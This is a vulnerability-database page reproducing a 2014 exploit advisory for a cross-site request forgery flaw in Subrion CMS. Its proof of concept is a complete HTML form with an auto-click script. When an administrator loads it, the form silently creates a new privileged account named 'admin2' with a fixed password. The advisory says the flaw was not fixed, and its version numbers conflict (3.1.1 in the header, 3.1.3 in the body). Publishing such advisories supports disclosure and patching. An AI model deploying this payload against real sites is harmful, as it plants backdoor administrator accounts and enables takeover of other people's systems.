Vulners
Lucene search
Subrion v3.1.1 Cross-Site Request Forgery (CSRF) Vulnerability
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Subrion v3.1.1 Cross-Site Request Forgery (CSRF) Vulnerability
[+] Date: 22-02-2014
[+] Category: WebApp
[+] Tested on: KaliLinux/Windows 7 Pro
[+] Vendor: http://www.subrion.com/product.html
[+] Friendly Sites: na3il.com,th3-creative.com
1.OVERVIEW:
Subrion suffers from a Cross-Site Request Forgery (CSRF) Vulnerability.
2.Version:
v3.1.3
3.Background:
Subrion CMS is a stand-alone PHP content management system that is very easy to use.
It comes with a ton of great features including full source editing,
per-page permissions, user activity monitoring, and much more.
Subrion CMS unites the functionality of articles script,
auto classifieds script, realty classifieds script, web directory script, and yellow pages script all in one package.
http://www.subrion.com/product.html
4.Proof Of Concept:
<html>
<head>
</head>
<body><center><br/>
<form method="post" action="http://127.0.0.1/subrion/admin/members/add/" onsubmit="forge()">
<input type="hidden" name="username" value="admin2" />
<input type="hidden" name="fullname" value="TUNISIAN CYBER" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="_password" value="checkmate" />
<input type="hidden" name="_password2" value="checkmate" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="csrf" value="click Me!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("csrf").click();}
</script>
</body>
</html>
5.Solution(s):
NOT FIXED
6.TIME-LINE:
2014-02-20: Vulnerability was discovered.
2014-02-21: No Reply
2014-02-22: No Reply
2014-02-22: Vulnerability released
7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
# 0day.today [2018-01-01] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Feb 2014 00:00Current
7High risk
Vulners AI Score7